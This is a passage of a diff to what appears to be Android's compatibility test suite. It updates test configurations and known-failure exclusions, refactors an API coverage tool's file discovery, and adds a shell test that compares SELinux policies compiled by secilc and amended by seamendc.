     public void testPauseUiTranslationThenStartUiTranslation() throws Throwable {
         final Pair<List<AutofillId>, ContentCaptureContext> result =
                 enableServicesAndStartActivityForTranslation();
diff --git a/tests/tvprovider/AndroidTest.xml b/tests/tvprovider/AndroidTest.xml
index 18a59ab..5bd4d68 100644
--- a/tests/tvprovider/AndroidTest.xml
+++ b/tests/tvprovider/AndroidTest.xml
@@ -21,6 +21,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsTvProviderTestCases.apk" />
diff --git a/tests/video/AndroidManifest.xml b/tests/video/AndroidManifest.xml
index 3b25dd5..8cdc050 100644
--- a/tests/video/AndroidManifest.xml
+++ b/tests/video/AndroidManifest.xml
@@ -21,7 +21,7 @@
     <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
 
-    <application>
+    <application
         android:requestLegacyExternalStorage="true"
         android:usesCleartextTraffic="true">
         <uses-library android:name="android.test.runner" />
diff --git a/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java b/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
index c46df15..b882105 100644
--- a/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
+++ b/tools/cts-api-coverage/src/com/android/cts/apicoverage/CtsApiCoverage.java
@@ -16,9 +16,14 @@
 
 package com.android.cts.apicoverage;
 
+import static com.google.common.collect.ImmutableList.toImmutableList;
+import static com.google.common.io.MoreFiles.getFileExtension;
+
 import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.ReadElf;
 
+import com.google.common.collect.ImmutableList;
+
 import org.jf.dexlib2.DexFileFactory;
 import org.jf.dexlib2.Opcodes;
 import org.jf.dexlib2.iface.Annotation;
@@ -34,20 +39,23 @@
 import org.xml.sax.helpers.XMLReaderFactory;
 
 import java.io.File;
-import java.io.FilenameFilter;
 import java.io.FileOutputStream;
 import java.io.FileReader;
 import java.io.IOException;
 import java.io.OutputStream;
-import java.util.Arrays;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
 import java.util.ArrayList;
 import java.util.Collection;
 import java.util.List;
 import java.util.Locale;
 import java.util.Set;
+import java.util.stream.Stream;
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Executors;
 import java.util.concurrent.Future;
+import java.util.function.Predicate;
 
 import javax.xml.transform.TransformerException;
 
@@ -57,20 +65,14 @@
  */
 public class CtsApiCoverage {
 
-    private static final FilenameFilter SUPPORTED_FILE_NAME_FILTER = new FilenameFilter() {
-        public boolean accept(File dir, String name) {
-            String fileName = name.toLowerCase();
-            return fileName.endsWith(".apk") || fileName.endsWith(".jar");
-        }
-    };
-
     private static final int FORMAT_TXT = 0;
 
     private static final int FORMAT_XML = 1;
 
     private static final int FORMAT_HTML = 2;
 
-    private static final String CDD_REQUIREMENT_ANNOTATION = "Lcom/android/compatibility/common/util/CddTest;";
+    private static final String CDD_REQUIREMENT_ANNOTATION =
+            "Lcom/android/compatibility/common/util/CddTest;";
 
     private static final String CDD_REQUIREMENT_ELEMENT_NAME = "requirement";
 
@@ -93,8 +95,10 @@
         System.out.println("  -d PATH                path to dexdeps or expected to be in $PATH");
         System.out.println("  -a PATH                path to the API XML file");
         System.out.println(
-                "  -n PATH                path to the NDK API XML file, which can be updated via ndk-api-report with the ndk target");
-        System.out.println("  -p PACKAGENAMEPREFIX   report coverage only for package that start with");
+                "  -n PATH                path to the NDK API XML file, which can be updated via"
+                        + " ndk-api-report with the ndk target");
+        System.out.println(
+                "  -p PACKAGENAMEPREFIX   report coverage only for package that start with");
         System.out.println("  -t TITLE               report title");
         System.out.println("  -a API                 the Android API Level");
         System.out.println("  -b BITS                64 or 32 bits, default 64");
@@ -150,15 +154,22 @@
                     printUsage();
                 }
             } else {
-                File file = new File(args[i]);
+                Path file = Paths.get(args[i]);
                 numTestApkArgs++;
-                if (file.isDirectory()) {
-                    testApks.addAll(Arrays.asList(file.listFiles(SUPPORTED_FILE_NAME_FILTER)));
+                if (Files.isDirectory(file)) {
+                    List<String> extensions = ImmutableList.of("apk", "jar");
+                    try (Stream<Path> files = Files.walk(file, Integer.MAX_VALUE)) {
+                        Predicate<Path> filter =
+                                path -> extensions.contains(getFileExtension(path).toLowerCase());
+                        List<File> matchedFiles =
+                                files.filter(filter).map(Path::toFile).collect(toImmutableList());
+                        testApks.addAll(matchedFiles);
+                    }
                     testCasesFolder = args[i];
-                } else if (file.isFile()) {
-                    testApks.add(file);
+                } else if (Files.exists(file)) {
+                    testApks.add(file.toFile());
                 } else {
-                    notFoundTestApks.add(file);
+                    notFoundTestApks.add(file.toFile());
                 }
             }
         }
@@ -371,7 +382,8 @@
         } else {
             System.err.println(
                     String.format(
-                            "warning: addNdkApiCoverage failed to get GTestApiReport from: %s @ %s bits",
+                            "warning: addNdkApiCoverage failed to get GTestApiReport from: %s @ %s"
+                                    + " bits",
                             testCasesFolder, bits));
         }
     }
@@ -393,7 +405,8 @@
         } else {
             System.err.println(
                     String.format(
-                            "warning: addGTestNdkApiCoverage failed to get GTestApiReport from: %s @ %s bits",
+                            "warning: addGTestNdkApiCoverage failed to get GTestApiReport from: %s"
+                                    + " @ %s bits",
                             testCasesFolder, bits));
         }
     }
diff --git a/tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java b/tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java
index 0f4fd69..7f80e56 100644
--- a/tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java
+++ b/tools/cts-media-preparer-app/src/android/mediastress/cts/preconditions/app/MediaPreparerAppTest.java
@@ -82,8 +82,12 @@
 
     @Test
     public void testGetResolutions() throws Exception {
+        String moduleName = InstrumentationRegistry.getArguments().getString("module-name");
+        if (moduleName == null) {
+            moduleName = MODULE_NAME;
+        }
         Resolution maxRes = new Resolution(DEFAULT_MAX_WIDTH, DEFAULT_MAX_HEIGHT);
-        DynamicConfigDeviceSide config = new DynamicConfigDeviceSide(MODULE_NAME);
+        DynamicConfigDeviceSide config = new DynamicConfigDeviceSide(moduleName);
         for (String key : config.keySet()) {
             int width = 0;
             int height = 0;
diff --git a/tools/cts-tradefed/etc/cts-tradefed b/tools/cts-tradefed/etc/cts-tradefed
index b9d5547..21b36ca 100755
--- a/tools/cts-tradefed/etc/cts-tradefed
+++ b/tools/cts-tradefed/etc/cts-tradefed
@@ -112,7 +112,7 @@
 fi
 
 # include any host-side test jars
-for j in ${CTS_ROOT}/android-cts/testcases/*.jar; do
+for j in $(find ${CTS_ROOT}/android-cts/testcases -name '*.jar'); do
     JAR_PATH=${JAR_PATH}:$j
 done
 
diff --git a/tools/cts-tradefed/res/config/collect-tests-only.xml b/tools/cts-tradefed/res/config/collect-tests-only.xml
index a3769a9..bb53a6d 100644
--- a/tools/cts-tradefed/res/config/collect-tests-only.xml
+++ b/tools/cts-tradefed/res/config/collect-tests-only.xml
@@ -29,6 +29,7 @@
     <option name="preparer-whitelist" value="com.android.tradefed.targetprep.suite.SuiteApkInstaller" />
     <option name="preparer-whitelist" value="com.android.compatibility.common.tradefed.targetprep.ApkInstaller" />
     <option name="preparer-whitelist" value="com.android.compatibility.common.tradefed.targetprep.FilePusher" />
+    <option name="preparer-whitelist" value="com.android.tradefed.targetprep.PythonVirtualenvPreparer" />
 
     <option name="compatibility:collect-tests-only" value="true" />
 
diff --git a/tools/cts-tradefed/res/config/cts-automated.xml b/tools/cts-tradefed/res/config/cts-automated.xml
index 80bcea7..b614422 100644
--- a/tools/cts-tradefed/res/config/cts-automated.xml
+++ b/tools/cts-tradefed/res/config/cts-automated.xml
@@ -24,6 +24,7 @@
 
     <option name="skip-preconditions" value="false" />
     <option name="skip-system-status-check" value="com.android.compatibility.common.tradefed.targetprep.NetworkConnectivityChecker" />
+    <option name="wifi-check:disable" value="true" />
 
     <!-- Tell all AndroidJUnitTests to exclude certain annotations -->
     <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
@@ -32,4 +33,6 @@
     <option name="compatibility:test-arg" value="com.android.tradefed.testtype.HostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
     <option name="compatibility:test-arg" value="com.android.compatibility.common.tradefed.testtype.JarHostTest:exclude-annotation:android.platform.test.annotations.RestrictedBuildTest" />
 
+    <!-- Main CTS remains single device until decided otherwise for default automation -->
+    <option name="multi-devices-modules" value="EXCLUDE_ALL" />
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-common.xml b/tools/cts-tradefed/res/config/cts-common.xml
index 47f3637..e1152c7 100644
--- a/tools/cts-tradefed/res/config/cts-common.xml
+++ b/tools/cts-tradefed/res/config/cts-common.xml
@@ -19,8 +19,8 @@
     <option name="compatibility:run-suite-tag" value="cts" />
     <!-- Enable module parameterization to run instant_app modules in main CTS -->
     <option name="compatibility:enable-parameterized-modules" value="true" />
-    <!-- Main CTS remains single device until decided otherwise -->
-    <option name="multi-devices-modules" value="EXCLUDE_ALL" />
+    <!-- Main CTS executes both single and multi-devices in the same plan during sharding -->
+    <option name="multi-devices-modules" value="RUN" />
 
     <include name="cts-preconditions" />
     <include name="cts-system-checkers" />
diff --git a/tools/cts-tradefed/res/config/cts-exclude.xml b/tools/cts-tradefed/res/config/cts-exclude.xml
index 77d6038..3d66c33 100644
--- a/tools/cts-tradefed/res/config/cts-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-exclude.xml
@@ -28,9 +28,6 @@
          tests into CTS, but until then, they should be excluded. -->
     <option name="compatibility:exclude-filter" value="CtsTestHarnessModeTestCases" />
 
-    <!-- Exclude multi device test cases - work in progress -->
-    <option name="compatibility:exclude-filter" value="CtsWifiAwareTestCases" />
-
     <!-- Exclude downstreaming tests from CTS, i.e. tests added after the
          first major release for this API level (They are pulled into GTS
          instead). -->
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index 93e7935..46f96ca 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -257,6 +257,7 @@
 
     <!-- b/204721335 -->
     <option name="compatibility:exclude-filter" value="CtsWindowManagerJetpackTestCases android.server.wm.jetpack.SidecarTest#testSidecarInterface_onWindowLayoutChangeListener" />
+    <option name="compatibility:exclude-filter" value="CtsWindowManagerJetpackTestCases android.server.wm.jetpack.SidecarTest#testSidecarInterface_getWindowLayoutInfo" />
 
     <!-- b/209382234 -->
     <option name="compatibility:exclude-filter" value="CtsDevicePolicyTestCases android.devicepolicy.cts.KeyManagementTest" />
@@ -269,11 +270,7 @@
   <!-- b/182630972, b/214019488 -->
     <option name="compatibility:exclude-filter" value="CtsWindowManagerDeviceTestCases android.server.wm.PinnedStackTests#testEnterPipWithMinimalSize" />
 
-    <!-- b/224400993 -->
-    <option name="compatibility:exclude-filter"
-        value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedDeviceOwnerTest#testSuspendPackage" />
-    <option name="compatibility:exclude-filter"
-        value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedManagedProfileOwnerTest#testSuspendPackage" />
-    <option name="compatibility:exclude-filter"
-        value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.MixedProfileOwnerTest#testSuspendPackage" />
+    <!-- b/205492302 -->
+    <option name="compatibility:exclude-filter" value="CtsDevicePolicyManagerTestCases com.android.cts.devicepolicy.OrgOwnedProfileOwnerTest#testSetCameraDisabled" />
+
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index d20e33a..7bfbd39 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -102,10 +102,22 @@
     <!-- b/203177211 -->
     <option name="compatibility:exclude-filter" value="CtsAppSecurityHostTestCases android.appsecurity.cts.ListeningPortsTest#testNoRemotelyAccessibleListeningUdpPorts" />
 
+    <!-- b/212223944 -->
+    <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.ASurfaceControlTest#testSurfaceTransaction_setDesiredPresentTime_30ms" />
+    <option name="compatibility:exclude-filter" value="CtsViewTestCases android.view.cts.ASurfaceControlTest#testSurfaceTransaction_setDesiredPresentTime_100ms" />
+
 
     <!-- b/228390608 No Tv Input Service implementation on GSI -->
     <option name="compatibility:exclude-filter" value="CtsHdmiCecHostTestCases android.hdmicec.cts.tv.HdmiCecRemoteControlPassThroughTest" />
     <option name="compatibility:exclude-filter" value="CtsHdmiCecHostTestCases android.hdmicec.cts.tv.HdmiCecRoutingControlTest" />
     <option name="compatibility:exclude-filter" value="CtsHdmiCecHostTestCases android.hdmicec.cts.tv.HdmiCecTvOneTouchPlayTest" />
 
+    <!-- b/192113622, b/203031609, b/204402327, b/204615046, b/204860049  Remove tests for S "optional" algorithms for GRF devices -->
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecAlgorithmImplTest#testChaCha20Poly1305" />
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testChaCha20Poly1305Tcp4" />
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testChaCha20Poly1305Tcp6" />
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testChaCha20Poly1305Udp4" />
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testChaCha20Poly1305Udp6" />
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testChaCha20Poly1305Udp4UdpEncap" />
+    <option name="compatibility:exclude-filter" value="CtsNetTestCases android.net.cts.IpSecManagerTest#testChaCha20Poly1305Tcp4UdpEncap" />
 </configuration>
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java
index 90ffb97..841357b 100644
--- a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java
@@ -99,7 +99,7 @@
                                                     "File %s[32/64] wasn't found in module "
                                                             + "dependencies while "
                                                             + "it's expected to be pushed as part"
-                                                            + " of %s.",
+                                                            + " of %s. Make sure that it's added in the Android.bp file of the module under 'data' field.",
                                                     path, config.getName()));
                                 }
                             }
@@ -115,7 +115,7 @@
                                             String.format(
                                                     "File %s wasn't found in module dependencies "
                                                             + "while it's expected to be pushed "
-                                                            + "as part of %s.",
+                                                            + "as part of %s. Make sure that it's added in the Android.bp file of the module under 'data' field.",
                                                     path, config.getName()));
                                 }
                             }
@@ -129,7 +129,7 @@
                     File apkFile = FileUtil.findFile(config.getParentFile(), apkName);
                     if (apkFile == null || !apkFile.exists()) {
                         fail(String.format("Module %s is trying to install %s which does not "
-                                + "exists in testcases/", config.getName(), apkName));
+                                + "exists in testcases/. Make sure that it's added in the Android.bp file of the module under 'data' field.", config.getName(), apkName));
                     }
                     AaptParser res = AaptParser.parse(apkFile);
                     assertNotNull(res);
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
index a4998e9..ed45728 100644
--- a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
@@ -141,6 +141,7 @@
             "com.drawelements.deqp.runner.DeqpTestRunner",
             // Tradefed runners
             "com.android.tradefed.testtype.AndroidJUnitTest",
+            "com.android.tradefed.testtype.ArtRunTest",
             "com.android.tradefed.testtype.HostTest",
             "com.android.tradefed.testtype.GTest",
             "com.android.tradefed.testtype.mobly.MoblyBinaryHostTest"
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
index 94a65bf..4361117 100644
--- a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
@@ -237,7 +237,11 @@
                 }
                 try {
                     // Ignore python binaries
-                    if (FileUtil.readStringFromFile(f).startsWith("#!/usr/bin/env python")) {
+                    String content = FileUtil.readStringFromFile(f);
+                    if (content.startsWith("#!/usr/bin/env python")) {
+                        return true;
+                    }
+                    if (content.contains("mobly/__init__.py")) {
                         return true;
                     }
                 } catch (IOException e) {
diff --git a/tools/selinux/Android.bp b/tools/selinux/Android.bp
index ab120f0..1339557 100644
--- a/tools/selinux/Android.bp
+++ b/tools/selinux/Android.bp
@@ -27,3 +27,29 @@
     srcs: ["SELinuxNeverallowTestGen.py"],
     libs: ["SELinuxNeverallowTestFrame"],
 }
+
+sh_test_host {
+    name: "seamendc-test",
+    src: "seamendc-test.sh",
+    data_bins: [
+        "seamendc",
+        "secilc",
+        "searchpolicy",
+    ],
+    data: [
+        ":sepolicy-cil-files",
+        ":libsepolwrap",
+    ],
+}
+
+filegroup {
+    name: "sepolicy-cil-files",
+    srcs: [
+        ":plat_sepolicy.cil",
+        ":plat_pub_versioned.cil",
+        ":system_ext_sepolicy.cil",
+        ":product_sepolicy.cil",
+        ":vendor_sepolicy.cil",
+        ":odm_sepolicy.cil",
+    ],
+}
diff --git a/tools/selinux/seamendc-test.sh b/tools/selinux/seamendc-test.sh
new file mode 100644
index 0000000..3221502
--- /dev/null
+++ b/tools/selinux/seamendc-test.sh
@@ -0,0 +1,54 @@
+#!/bin/bash
+set -e
+
+# Generate the amend policy in cil format.
+echo "(type foo)" > test_sepolicy.cil
+echo "(typeattribute bar)" >> test_sepolicy.cil
+echo "(typeattributeset bar (foo))" >> test_sepolicy.cil
+echo "(allow foo bar (file (read)))" >> test_sepolicy.cil
+
+# Generate the definitions file containing (re)definitions of existing types/classes/attributes, and
+# of preliminary symbols. This file is needed by seamendc to successfully parse the CIL policy.
+echo "(sid test)" > definitions.cil
+echo "(sidorder (test))" >> definitions.cil
+echo "(class file (read))" >> definitions.cil
+echo "(classorder (file))" >> definitions.cil
+
+# Compile binary and amend policies using secilc.
+./secilc -m -M true -G -N -c 30 \
+  -o sepolicy+test-secilc.binary \
+  plat_sepolicy.cil \
+  plat_pub_versioned.cil \
+  system_ext_sepolicy.cil \
+  product_sepolicy.cil \
+  vendor_sepolicy.cil \
+  odm_sepolicy.cil \
+  test_sepolicy.cil
+
+# Compile binary policy and use seamendc to amend the binary file.
+./secilc -m -M true -G -N -c 30 \
+  -o sepolicy.binary \
+  plat_sepolicy.cil \
+  plat_pub_versioned.cil \
+  system_ext_sepolicy.cil \
+  product_sepolicy.cil \
+  vendor_sepolicy.cil \
+  odm_sepolicy.cil
+
+./seamendc -vv \
+  -o sepolicy+test-seamendc.binary \
+  -b sepolicy.binary \
+  test_sepolicy.cil definitions.cil
+
+# Diff the generated binary policies.
+./searchpolicy --allow --libpath libsepolwrap.so sepolicy+test-secilc.binary \
+  -s foo > secilc.diff
+./searchpolicy --allow --libpath libsepolwrap.so sepolicy+test-seamendc.binary \
+  -s foo > seamendc.diff
+diff secilc.diff seamendc.diff
+
+./searchpolicy --allow --libpath libsepolwrap.so sepolicy+test-secilc.binary \
+  -t foo > secilc.diff
+./searchpolicy --allow --libpath libsepolwrap.so sepolicy+test-seamendc.binary \
+  -t foo > seamendc.diff
+diff secilc.diff seamendc.diff